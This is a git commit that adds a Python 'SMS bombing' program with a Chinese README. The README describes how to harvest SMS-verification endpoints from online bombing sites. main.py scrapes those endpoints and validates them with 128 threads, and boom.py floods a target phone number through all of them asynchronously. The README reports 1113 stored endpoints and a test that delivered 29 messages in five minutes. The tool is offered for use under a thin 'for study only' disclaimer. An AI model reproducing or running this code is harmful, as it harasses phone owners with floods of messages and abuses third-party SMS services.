commit 2429b4283e277b1a46bbe83ccdb53164699f1f8c Author: WhaleFall <2734184475@qq.com> Date: Tue Aug 10 13:54:26 2021 +0800 ✨ feat(首次提交): 首次提交短信轰炸python版 ## 一个强大的python异步短信轰炸程序,让坏蛋蛋不得安宁。 diff --git a/READMEmd b/READMEmd new file mode 100644 index 0000000..6b4abfd --- /dev/null +++ b/READMEmd @@ -0,0 +1,94 @@ +# 短信轰炸 Python 程序(包含1000+有效接口) + +## 前言 + +- 这是一个爬取网络上**在线轰炸的接口**,后通过 **Python 异步** 请求接口以达到 **手机短信轰炸** 的目的。 +- 此为**开源项目**,仅供**娱乐学习使用**,使用者所带来的**一切后果**与**作者无关**,使用**请遵守相关的法律法规**,**合理使用,请勿滥用**。 + +## 食用方法 + +### 1. 爬取接口 + + - 寻找网上形如:[http://www.sss.pet/](http://www.sss.pet/) 的**在线轰炸网站** + ![轰炸网站实例](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810115304.png) + + - 输入手机号并**启动轰炸**,这时会刷新界面,观察**构造出来的地址**。 + + ![轰炸网站地址](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810115635.png) + + > 可以**发现**地址从: + > + > > ```ini + > > http://www.sss.pet/ + > > ``` + > + > **变成了**: + > + > > ```ini + > > http://www.sss.pet/index.php?hm={手机号码}&ok= + > > ``` + + - 修改 `main.py` 文件 + + ![实例化SMS对象参数](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810120405.png) + + ![实例化并运行](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810120700.png) + + 在函数入口实例化**SMS**对象,此对象要传入一个主网站url,和url后面的参数key,key中的手机号用`{SMS.default_phone}`代替。 + + ![非常规](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810133201.png) + + > 例如上图一个**非常规 Key** 的网站。 + + 调用**SMS对象**的`main()`方法即可多线程校验接口。 + + 调用**SMS对象**的`get_sms_api()`即可查看调试网址接口总数。 + + ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810122404.png) + + 前面**注释**的网址**我都校验过了**,大家都不用再校验了【狗头】 + + - **运行过程** + + 1. 运行后会先请求轰炸网站正则**获取其接口**API。 + + 2. 把获取到的接口Put到检验队列。 + 3. Put完队列后启动**多线程校验**,如果请求接口的**HTTP状态码为200**就写入到**sqlite3数据库**,数据库文件在项目目录下的`data.db` + + > 注意:HTTP状态码为200的**不一定是有用**的接口**(好多都不能用的,敲!)**,不过HTTP状态码不正常或者无法访问的**一定是不可以用的**。 + > + > > **目前只想到这一种检验接口的方法**。 + + > 支持**数据库自动去重**,不用担心数据重复问题。 + + 4. **2021.8.10** 我已经校验了1113个接口(**不重复**)到`data.db` 大家可以直接使用(看下面) + +### 2. 启动异步轰炸 + +- 修改`boom.py`下的手机号启动轰炸异步请求。 + + ![修改手机号轰炸](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810132221.png) + +- **2021.8.10** 亲测: + + **在5分钟内发了29条短信。** + + ![img](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810133449.jpg) + +## Todo +- [ ] 🎈允许添加自定义接口`json`格式,自定义请求头、方法、内容。 +- [ ] 🎈优化数据库结构,兼容自定义接口。 +- [ ] 🎈添加多线程、异步两种轰炸方式。 +- [ ] 🎈添加GUI页面方便操作。 +- [ ] 🎈用`Flask`做个轰炸API,支持异步返回调用。 +- [ ] .....未完待续...... +### 欢迎提出`issue`🤔以便开发者完善,也欢迎大佬们Pr完善此项目。 + +> PS:开发者目前初三🐣,写的垃圾代码,还请大佬们多多指教。😘 + +## 😡禁止用于非法用途😡 + +## 😾使用者造成的一切法律后果与本人无关😾 + + + diff --git a/boom.py b/boom.py new file mode 100644 index 0000000..abe86b2 --- /dev/null +++ b/boom.py @@ -0,0 +1,37 @@ +#!/usr/bin/python python3 +# coding=utf-8 +''' +Author: whalefall +Date: 2021-08-07 21:23:35 +LastEditTime: 2021-08-09 19:12:32 +Description: 异步轰炸 +''' +import asyncio +import aiohttp +from utils.db_sqlite import Sql + +header = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", +} + + +async def get(url, session: aiohttp.ClientSession): + '''异步请求''' + print(f"开始请求{url}") + async with session.get(url, headers=header) as resp: + status = await resp.text() + print(status) + + +async def main(): + urls = Sql().select() + tasks = [] + async with aiohttp.ClientSession() as session: + for url in urls: + url = url.replace("{phone}", "19820294268") + task = asyncio.create_task(get(url, session)) + tasks.append(task) + await asyncio.wait(tasks) + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/data.db b/data.db new file mode 100644 index 0000000..ff55a32 Binary files /dev/null and b/data.db differ diff --git a/main.py b/main.py new file mode 100644 index 0000000..4fdfeb1 --- /dev/null +++ b/main.py @@ -0,0 +1,110 @@ +#!/usr/bin/python python3 +# coding=utf-8 +''' +Author: whalefall +Date: 2021-08-07 14:15:50 +LastEditTime: 2021-08-10 13:31:09 +Description: 短信测压接口测试平台,测试200状态码的接口,不一定可用 +''' +import requests +import re +from utils.db_sqlite import Sql +import queue +import threading + + +class SMS(object): + # 默认的请求密钥 + default_phone = "15019682928" + key_default = f"?hm={default_phone}&ok=" + + def __init__(self, website, key=key_default) -> None: + self.url = website + self.header = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", + } + self.key = key + self.api_queue = queue.Queue() + self.db = Sql() + self.lock = threading.Lock() + + def get_sms_api(self): + '''请求短信轰炸平台''' + with requests.session() as ses: + ses.get(self.url, headers=self.header) + resp = ses.get(f"{self.url}{self.key}", headers=self.header) + # print(resp.text) + pat = re.compile(r"") + apis = pat.findall(resp.text) + assert not apis == [], "未找到任何接口!" + print("获取到的原始接口总数:%s" % (len(apis))) + # 需要进行预处理 + + for api in apis: + # if ("https://" or "http://") not in api: + # continue + # 排除接口中没有电话号码的网址 + + if SMS.default_phone not in api: + continue + # 网址处理 + api = api.strip().replace(" ", "").replace( + SMS.default_phone, "{phone}") + # print(api) + self.api_queue.put(api) + print("Put到队列的接口总数:%s" % (self.api_queue.qsize())) + + def check_theads(self): + '''多线程检查可用性''' + while True: + if self.api_queue.empty(): + print(f"线程{threading.current_thread().name}结束") + break + api = self.api_queue.get() + + try: + with requests.get(api.replace("{phone}", SMS.default_phone), headers=self.header, timeout=20,verify=False) as resp: + if resp.status_code == 200: + print( + f"线程{threading.current_thread().name}:已添加{api}队列数:{str(self.api_queue.qsize())}") + with self.lock: + # 多线程写sqlite数据库要加锁 + self.db.update(api) + + except Exception as e: + print( + f"线程{threading.current_thread().name}出错:{e}队列数:{str(self.api_queue.qsize())}") + finally: + self.api_queue.task_done() + + def main(self): + self.get_sms_api() + threads = [ + threading.Thread(target=self.check_theads, name=f"Theads-{i}") + for i in range(1, 129) + ] + for thread in threads: + thread.start() + + +if __name__ == '__main__': + # 轰炸平台 + # http://www.sss.pet/ + # http://qazwd.top + # http://www.yxdhma.cn + # http://hz.7qi.me/index.php?0pcall={SMS.default_phone}&ok= + # http://hzz.yunceng.top/index.php + # https://97sq.com/dx/index.php + # https://y06.top/index.php + # http://8.210.210.197:5678/index.php + # https://120.77.244.209/sdlz/yh.php + # http://103.116.46.190/index.php? + # http://120.26.174.82:85/index.php? + # http://2hz.xyz/index.php?dnm=15019872239&ok= + # http://42.193.114.190:1234/index.php? + # http://47.119.139.230/index.php + + # 实例: http://hz.7qi.me/index.php?0pcall={SMS.default_phone}&ok= + url = "http://hz.7qi.me/index.php" + spider = SMS(url,key='?0pcall={SMS.default_phone}&ok=') + spider.get_sms_api() diff --git a/utils/__pycache__/db_sqlite.cpython-38.pyc b/utils/__pycache__/db_sqlite.cpython-38.pyc new file mode 100644 index 0000000..9b32a1d Binary files /dev/null and b/utils/__pycache__/db_sqlite.cpython-38.pyc differ diff --git a/utils/db_sqlite.py b/utils/db_sqlite.py new file mode 100644 index 0000000..d93cf86 --- /dev/null +++ b/utils/db_sqlite.py @@ -0,0 +1,69 @@ +#!/usr/bin/python python3 +# coding=utf-8 +''' +Author: whalefall +Date: 2021-08-07 14:59:08 +LastEditTime: 2021-08-07 21:31:13 +Description: python操作数据库 +''' +import sqlite3 +import sys + + +class Sql(object): + def __init__(self) -> None: + '''初始化数据库''' + self.client = sqlite3.connect( + "data.db", timeout=6, check_same_thread=False) + self.cursor = self.client.cursor() + self.newTable() + + def newTable(self): + '''初始化表结构''' + sql = ''' +CREATE TABLE IF NOT EXISTS API200 ( + id INT NULL, + url TEXT NOT NULL, + primary key (url) +); + ''' + self.cursor.execute(sql) + self.client.commit() + + def update(self, url): + '''插入数据''' + sql = ''' + INSERT INTO API200 (ID,url) VALUES (null,?) + ''' + try: + self.cursor.execute(sql, (url,)) + self.client.commit() + except sqlite3.IntegrityError: + print(f"{url} 数据重复!") + + def select(self) -> list: + '''获取所有接口''' + sql = ''' + SELECT url FROM API200; + ''' + try: + self.cursor.execute(sql) + result = self.cursor.fetchall() + # print(result) + urls = [] + for url in result: + urls.append(url[0]) + return urls + except Exception as e: + print('读取出现错误!', e) + + def __del__(self) -> None: + '''对象被删除时执行的函数''' + print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") + self.client.close() + + +if __name__ == "__main__": + s = Sql() + s.update("SWDWQ") + print(s.select())